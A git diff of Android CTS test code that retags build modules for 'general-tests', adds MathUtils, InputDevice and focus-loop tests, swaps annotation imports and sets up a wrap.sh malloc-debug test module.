 <configuration description="Config for CTS UI Rendering test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
index f0afd53..ce7e4b5 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
@@ -99,9 +99,10 @@
             }
         }
 
+        RtOnlyFrameCounter counter = new RtOnlyFrameCounter();
+
         ViewInitializer initializer = new ViewInitializer() {
             Animator mAnimator;
-            RtOnlyFrameCounter mCounter = new RtOnlyFrameCounter();
 
             @Override
             public void initializeView(View view) {
@@ -128,19 +129,21 @@
                         child.setColor(Color.BLUE);
                     }
                 }, 1000);
-                getActivity().getWindow().addOnFrameMetricsAvailableListener(mCounter, handler);
+                getActivity().getWindow().addOnFrameMetricsAvailableListener(counter, handler);
             }
 
             @Override
             public void teardownView() {
                 mAnimator.cancel();
-                Assert.assertTrue(mCounter.isLargeEnough());
+                getActivity().getWindow().removeOnFrameMetricsAvailableListener(counter);
             }
         };
 
         createTest()
                 .addLayout(R.layout.frame_layout, initializer, true)
                 .runWithAnimationVerifier(new ColorCountVerifier(Color.RED, 0));
+
+        Assert.assertTrue(counter.isLargeEnough());
     }
 
     /*
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index 32d4584..3ceeadd 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-annotations \
diff --git a/tests/tests/util/src/android/util/cts/MathUtilsTest.java b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
new file mode 100644
index 0000000..d19a652
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.util.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.MathUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MathUtilsTest {
+
+    @Test
+    public void testMap() {
+        // converting to int since assertEquals can't compare floats
+        int result = (int) MathUtils.map(0, 1, 0, 100, 0.5f);
+        assertEquals("Half of 0..100 should be 50", result, 50);
+    }
+}
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index f582b41..a50b42f 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MULTILIB := both
 
diff --git a/tests/tests/view/jni/Android.mk b/tests/tests/view/jni/Android.mk
index 288e250..f1aad68 100644
--- a/tests/tests/view/jni/Android.mk
+++ b/tests/tests/view/jni/Android.mk
@@ -32,6 +32,4 @@
 
 LOCAL_CXX_STL := libc++_static
 
-LOCAL_CLANG := true
-
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index a8015ab..5ec5e7f 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -245,7 +245,7 @@
         assertTrue(nextFocus == mBottomRight || nextFocus == mBottomLeft);
     }
 
-    @Test
+    @Test(timeout = 500)
     public void testChainVisibility() {
         mBottomRight.setNextFocusForwardId(mBottomLeft.getId());
         mBottomLeft.setNextFocusForwardId(mTopRight.getId());
@@ -256,6 +256,20 @@
         mBottomLeft.setNextFocusForwardId(View.NO_ID);
         next = mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
         assertSame(mTopLeft, next);
+
+        // This shouldn't go into an infinite loop
+        mBottomRight.setNextFocusForwardId(mTopRight.getId());
+        mTopLeft.setNextFocusForwardId(mTopRight.getId());
+        mTopRight.setNextFocusForwardId(mBottomLeft.getId());
+        mBottomLeft.setNextFocusForwardId(mTopLeft.getId());
+        mActivityRule.getActivity().runOnUiThread(() -> {
+            mTopLeft.setVisibility(View.INVISIBLE);
+            mTopRight.setVisibility(View.INVISIBLE);
+            mBottomLeft.setVisibility(View.INVISIBLE);
+            mBottomRight.setVisibility(View.INVISIBLE);
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
     }
 
     private void verifyNextCluster(View currentCluster, int direction, View expectedNextCluster) {
diff --git a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
new file mode 100644
index 0000000..9a960e2
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link android.view.InputDevice} enable/disable functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceEnabledTest {
+    private InputManager mInputManager;
+    private Instrumentation mInstrumentation;
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+    }
+
+    @Test
+    public void testIsEnabled() {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        assertNotNull(inputDeviceIds);
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            // this function call should not produce an error
+            inputDevice.isEnabled(); // output is not checked
+        }
+    }
+
+    @Test
+    public void testEnableDisableException() {
+        // Check that InputDevice.enable() and InputDevice.disable() throw SecurityException
+        final String failMsgNotThrown = "Expected SecurityException not thrown";
+
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+
+            try {
+                inputDevice.enable();
+                fail(failMsgNotThrown);
+            } catch (SecurityException e) {
+                // Expect to get this exception
+            }
+
+            try {
+                inputDevice.disable();
+                fail(failMsgNotThrown);
+            } catch (SecurityException e) {
+                // Expect to get this exception
+            }
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
index cae49c7..e8e764a 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
@@ -27,11 +27,10 @@
 import android.view.KeyboardShortcutGroup;
 import android.view.KeyboardShortcutInfo;
 
-import com.google.android.collect.Lists;
-
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
 import java.util.List;
 
 /**
@@ -41,9 +40,14 @@
 @RunWith(AndroidJUnit4.class)
 public class KeyboardShortcutGroupTest {
     private static final CharSequence TEST_LABEL = "Test Group Label";
-    private final List<KeyboardShortcutInfo> TEST_ITEMS = Lists.newArrayList(
-            new KeyboardShortcutInfo("Item 1", KeyEvent.KEYCODE_U, KeyEvent.META_CTRL_ON),
-            new KeyboardShortcutInfo("Item 2", KeyEvent.KEYCODE_F, KeyEvent.META_CTRL_ON));
+    private static final List<KeyboardShortcutInfo> TEST_ITEMS = new ArrayList<>();
+
+    static {
+        TEST_ITEMS.add(new KeyboardShortcutInfo(
+                "Item 1", KeyEvent.KEYCODE_U, KeyEvent.META_CTRL_ON));
+        TEST_ITEMS.add(new KeyboardShortcutInfo(
+                "Item 2", KeyEvent.KEYCODE_F, KeyEvent.META_CTRL_ON));
+    }
 
     @Test
     public void testConstructor() {
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
index cb67b92..100ba9d 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
@@ -16,8 +16,8 @@
 
 package android.view.cts;
 
-import android.annotation.Nullable;
 import android.content.Context;
+import android.support.annotation.Nullable;
 import android.util.AttributeSet;
 import android.view.MotionEvent;
 import android.widget.LinearLayout;
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureView.java b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
index 4af160b..d273977 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureView.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
@@ -16,8 +16,8 @@
 
 package android.view.cts;
 
-import android.annotation.Nullable;
 import android.content.Context;
+import android.support.annotation.Nullable;
 import android.util.AttributeSet;
 import android.view.MotionEvent;
 import android.view.View;
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 8e478a8..2c88b25 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -77,7 +77,8 @@
         vc.getScaledOverscrollDistance();
         vc.getScaledPagingTouchSlop();
         vc.getScaledScrollBarSize();
-        vc.getScaledScrollFactor();
+        vc.getScaledHorizontalScrollFactor();
+        vc.getScaledVerticalScrollFactor();
         vc.getScaledTouchSlop();
         vc.getScaledWindowTouchSlop();
         vc.hasPermanentMenuKey();
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 95b8491..7439ee0 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -29,7 +29,6 @@
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 
-import android.annotation.NonNull;
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
@@ -44,6 +43,7 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.os.Parcelable;
 import android.os.SystemClock;
+import android.support.annotation.NonNull;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.LargeTest;
diff --git a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
index e82cf37..8cd0d37 100644
--- a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
@@ -18,12 +18,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.annotation.NonNull;
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Outline;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
+import android.support.annotation.NonNull;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.SmallTest;
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index cbb874a..67cbf3d 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceInteractionTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index cdac41f..625ae50 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Voice Interaction test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
index b8d3aa8..c274e85 100644
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ b/tests/tests/voiceinteraction/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceInteractionService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/voiceinteraction/testapp/Android.mk b/tests/tests/voiceinteraction/testapp/Android.mk
index aa40e53..79e0fbd 100644
--- a/tests/tests/voiceinteraction/testapp/Android.mk
+++ b/tests/tests/voiceinteraction/testapp/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
index 1ef6a5c..dbfb031 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
@@ -34,6 +34,7 @@
 import android.util.Log;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 
 import android.voiceinteraction.common.Utils;
 
@@ -98,7 +99,7 @@
           case SUPPORTS_COMMANDS_TEST:
               String[] commands = {Utils.TEST_COMMAND};
               boolean[] supported = mInteractor.supportsCommands(commands);
-              Log.i(TAG, "from supportsCommands: " + supported);
+              Log.i(TAG, "from supportsCommands: " + Arrays.toString(supported));
               if (supported.length == 1 && supported[0]) {
                 addTestResult(Utils.SUPPORTS_COMMANDS_SUCCESS);
               } else {
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index c554470..926547b 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceSettingsTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
index 6f246bd..ad008a5 100644
--- a/tests/tests/voicesettings/service/Android.mk
+++ b/tests/tests/voicesettings/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceSettingsService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
index 2385647..43f1bba 100644
--- a/tests/tests/webkit/Android.mk
+++ b/tests/tests/webkit/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_PACKAGE_NAME := CtsWebkitTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # uncomment when dalvik.annotation.Test* are removed or part of SDK
 #LOCAL_SDK_VERSION := current
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 92573d8..66b3399 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -18,9 +18,7 @@
 
 import android.graphics.Bitmap;
 import android.os.Message;
-import android.os.SystemClock;
 import android.test.ActivityInstrumentationTestCase2;
-import android.view.MotionEvent;
 import android.view.ViewGroup;
 import android.webkit.JsPromptResult;
 import android.webkit.JsResult;
@@ -205,7 +203,6 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-
         final MockWebChromeClient webChromeClient = new MockWebChromeClient();
         mOnUiThread.setWebChromeClient(webChromeClient);
 
@@ -216,10 +213,6 @@
         assertFalse(webChromeClient.hadOnJsBeforeUnload());
 
         mOnUiThread.loadUrlAndWaitForCompletion(mWebServer.getAssetUrl(TestHtmlConstants.JS_UNLOAD_URL));
-
-        // Send a user gesture, required for unload to execute since WebView version 60.
-        tapWebView();
-
         // unload should trigger when we try to navigate away
         mOnUiThread.loadUrlAndWaitForCompletion(mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL));
 
@@ -315,28 +308,6 @@
         assertEquals(webChromeClient.getMessage(), "testOnJsPrompt");
     }
 
-    /**
-     * Taps in the the center of a webview.
-     */
-    private void tapWebView() {
-        int[] location = mOnUiThread.getLocationOnScreen();
-        int middleX = location[0] + mOnUiThread.getWebView().getWidth() / 2;
-        int middleY = location[1] + mOnUiThread.getWebView().getHeight() / 2;
-
-        long timeDown = SystemClock.uptimeMillis();
-        getInstrumentation().sendPointerSync(
-                MotionEvent.obtain(timeDown, timeDown, MotionEvent.ACTION_DOWN,
-                        middleX, middleY, 0));
-
-        long timeUp = SystemClock.uptimeMillis();
-        getInstrumentation().sendPointerSync(
-                MotionEvent.obtain(timeUp, timeUp, MotionEvent.ACTION_UP,
-                        middleX, middleY, 0));
-
-        // Wait for the system to process all events in the queue
-        getInstrumentation().waitForIdleSync();
-    }
-
     private class MockWebChromeClient extends WaitForProgressClient {
         private boolean mHadOnProgressChanged;
         private boolean mHadOnReceivedTitle;
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index c6d85c6..653ef77 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -37,6 +37,6 @@
 LOCAL_PACKAGE_NAME := CtsWidgetTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index 81d315f..d8ab457 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -21,12 +21,18 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	android-support-test \
+	legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_SDK_VERSION := current
 
 LOCAL_PACKAGE_NAME := CtsWrapNoWrapTestCases
 LOCAL_MANIFEST_FILE := AndroidManifest.xml
 
+# Jarjar to make WrapTest unique.
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+
 include $(BUILD_PACKAGE)
diff --git a/tests/tests/wrap/nowrap/jarjar-rules.txt b/tests/tests/wrap/nowrap/jarjar-rules.txt
new file mode 100644
index 0000000..91e7454
--- /dev/null
+++ b/tests/tests/wrap/nowrap/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.wrap.cts.WrapTest** android.wrap.cts.WrapTestNoWrap@1
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index 2bfb7a5..b624843 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -21,9 +21,12 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	android-support-test \
+	legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_SDK_VERSION := current
 
 LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
@@ -36,6 +39,9 @@
 LOCAL_PACKAGE_NAME := CtsWrapWrapDebugTestCases
 LOCAL_MANIFEST_FILE := AndroidManifest.xml
 
+# Jarjar to make WrapTest unique.
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+
 include $(BUILD_PACKAGE)
 
 include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_debug/jarjar-rules.txt b/tests/tests/wrap/wrap_debug/jarjar-rules.txt
new file mode 100644
index 0000000..3020934
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.wrap.cts.WrapTest** android.wrap.cts.WrapTestWrapDebug@1
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
new file mode 100644
index 0000000..bc6240d
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
@@ -0,0 +1,47 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	android-support-test \
+	legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_SDK_VERSION := current
+
+LOCAL_PREBUILT_JNI_LIBS_arm := wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_arm64 := wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_mips := wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_mips64 := wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_x86 := wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_x86_64 := wrap.sh
+
+LOCAL_PACKAGE_NAME := CtsWrapWrapDebugMallocDebugTestCases
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+# Jarjar to make WrapTest unique.
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+
+include $(BUILD_PACKAGE)
+
+include $(CLEAR_VARS)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
similarity index 66%
copy from hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
copy to tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
index a0e898a..a359f17 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
@@ -16,20 +16,24 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jvmti.cts.run_test_981">
+    package="android.wrap.wrap_debug_malloc_debug.cts">
 
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="981" />
-        <activity android:name="android.jvmti.JvmtiActivity" >
+        <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
+        <activity android:name="android.wrap.WrapActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
     <instrumentation
         android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for JVMTI"
-        android:targetPackage="android.jvmti.cts.run_test_981" >
+        android:label="CTS tests for wrap.sh"
+        android:targetPackage="android.wrap.wrap_debug_malloc_debug.cts" >
     </instrumentation>
 </manifest>
 
diff --git a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
similarity index 61%
copy from hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
copy to tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index e6351d3..0c740e4 100644
--- a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
+<!-- Copyright (C) 2017 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -13,15 +13,13 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Config for CTS JVMTI test cases">
+<configuration description="Config for CTS Debug Wrap (Malloc Debug) test cases">
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsJvmtiRunTest981DeviceApp.apk" />
+        <option name="test-file-name" value="CtsWrapWrapDebugMallocDebugTestCases.apk" />
     </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsJvmtiRunTest981HostTestCases.jar" />
-        <option name="set-option" value="test-file-name:CtsJvmtiRunTest981DeviceApp.apk" />
-        <option name="set-option" value="package-name:android.jvmti.cts.run_test_981" />
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.wrap.wrap_debug_malloc_debug.cts" />
     </test>
 </configuration>
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/jarjar-rules.txt b/tests/tests/wrap/wrap_debug_malloc_debug/jarjar-rules.txt
new file mode 100644
index 0000000..286029b
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.wrap.cts.WrapTest** android.wrap.cts.WrapTestDebugMalloc@1
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/wrap.sh
old mode 100644
new mode 100755
similarity index 60%
copy from hostsidetests/jvmti/run-tests/test-981/Android.mk
copy to tests/tests/wrap/wrap_debug_malloc_debug/wrap.sh
index 4bbc20a..f00a554
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/wrap.sh
@@ -1,4 +1,5 @@
-# Copyright (C) 2014 The Android Open Source Project
+#!/system/bin/sh
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
